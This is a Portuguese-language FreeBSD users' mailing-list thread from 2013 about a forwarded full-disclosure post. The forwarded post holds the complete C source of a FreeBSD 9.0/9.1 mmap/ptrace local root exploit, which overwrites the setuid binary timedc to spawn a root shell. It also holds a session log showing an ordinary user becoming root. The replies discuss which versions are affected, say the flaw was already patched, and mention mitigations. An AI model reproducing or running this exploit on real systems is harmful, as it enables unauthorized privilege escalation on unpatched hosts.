[FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

firebits mrpa.security em gmail.com
Segunda Junho 24 18:44:49 BRT 2013


Marcelo Gondim, cita para nós qual é a lista de security, que fez essa
afirmação, fiquei curioso...rss

@firebitsbr


Em 20 de junho de 2013 17:38, Marcelo Gondim <gondim em bsdinfo.com.br>escreveu:

> Em 20/06/13 15:42, Evandro Nunes escreveu:
> > On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim <gondim em bsdinfo.com.br
> >wrote:
> >
> >> É pessoal,
> >>
> >> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
> >> detectar isso?  :(
> >> E funciona lindo mesmo o programa.
> >>
> > de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
> > falha do freebsd 9 inclusive o security adv so explora o freebsd 9
> > alguem teve sucesso com freebsd 8, 7, outro?
> > acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
> > pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
> > root nem quem tem mac_partition ou bsdextended implementado
> >
> > nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
> > "ultra mega hacker expert" só fez o exploit depois que o advisory foi
> > publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
> > documentado e corrigido e vem tirar uma onda de full disclosure...
> Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4
> e testei e não rola. Só no 9 mesmo.
> Esses caras são uns paiaços mesmo rsrsrsrsrs
>
> >
> >
> >>
> >> -------- Mensagem original --------
> >> Assunto:        Happy Birthday FreeBSD! Now you are 20 years old and
> your
> >> security is the same as 20 years ago... :)
> >> Data:   Wed, 19 Jun 2013 23:32:59 +0200
> >> De:     Hunger <hunger em hunger.hu>
> >> Para:   full-disclosure em lists.grok.org.uk
> >>
> >>
> >>
> >> $ uname -a
> >> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
> >> 4 09:23:10 UTC 2012
> >> root em farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
> >> $ id
> >> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
> >> $ gcc fbsd9lul.c -o fbsd9lul
> >> $ ./fbsd9lul
> >> FreeBSD 9.{0,1} mmap/ptrace exploit
> >> by Hunger <fbsd9lul em hunger.hu>
> >> # id
> >> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
> >> #
> >>
> >>
> >> ============================ code =========================
> >>
> >> /*
> >>    * FreeBSD 9.{0,1} mmap/ptrace exploit
> >>    * by Hunger<fbsd9lul em hunger.hu>
> >>    *
> >>    * Happy Birthday FreeBSD!
> >>    * Now you are 20 years old and your security is the same as 20 years
> >> ago...
> >>    *
> >>    * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op,
> pipacs,
> >> prof,
> >>    *              sd, sghctoma, snq, spender, s2crew and others at
> >> #hekkcamp:
> >>    *                      I hope we'll meet again at 8 em 1470n
> >>    *
> >>    * Special thanks to proactivesec.com
> >>    *
> >>    */
> >>
> >> #include <err.h>
> >> #include <errno.h>
> >> #include <unistd.h>
> >> #include <stdio.h>
> >> #include <stdlib.h>
> >> #include <string.h>
> >> #include <fcntl.h>
> >> #include <sys/stat.h>
> >> #include <sys/mman.h>
> >> #include <sys/types.h>
> >> #include <sys/ptrace.h>
> >> #include <sys/wait.h>
> >>
> >> #define SH "/bin/sh"
> >> #define TG "/usr/sbin/timedc"
> >>
> >> int
> >> main(int ac, char **av) {
> >>      int from_fd, to_fd, status;
> >>      struct stat st;
> >>      struct ptrace_io_desc piod;
> >>      char *s, *d;
> >>      pid_t pid;
> >>
> >>      if (geteuid() == 0)  {
> >>           setuid(0);
> >>           execl(SH, SH, NULL);
> >>           return 0;
> >>      }
> >>
> >>      printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
> >>      printf("by Hunger<fbsd9lul em hunger.hu>\n");
> >>
> >>      if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
> >>           (to_fd = open(TG, O_RDONLY)) == -1)
> >>                   err(1, "open");
> >>
> >>      if (stat(av[0], &st) == -1)
> >>           err(2, "stat");
> >>
> >>      if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
> >>           MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
> >>                   (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
> >>                           MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
> >> MAP_FAILED)
> >>                                   err(3, "mmap");
> >>
> >>      if ((pid = fork()) == -1)
> >>           err(4, "fork");
> >>
> >>      if (!pid) {
> >>           if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
> >>                   err(5, "ptraceme");
> >>
> >>           return 0;
> >>           }
> >>
> >>      if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
> >>           err(6, "ptattach");
> >>
> >>      if (wait(&status) == -1)
> >>           err(7, "wait");
> >>
> >>      piod.piod_op = PIOD_WRITE_D;
> >>      piod.piod_offs = d;
> >>      piod.piod_addr = s;
> >>      piod.piod_len  = st.st_size;
> >>
> >>      if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
> >>           err(8, "ptio");
> >>
> >>      execl(TG, TG, NULL);
> >>
> >>      return 0;
> >> }
> >>
> >>
> >>
> >> -------------------------
> >> Histórico: http://www.fug.com.br/historico/html/freebsd/
> >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> >>
> > -------------------------
> > Histórico: http://www.fug.com.br/historico/html/freebsd/
> > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> >
>
> -------------------------
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>


Mais detalhes sobre a lista de discussão freebsd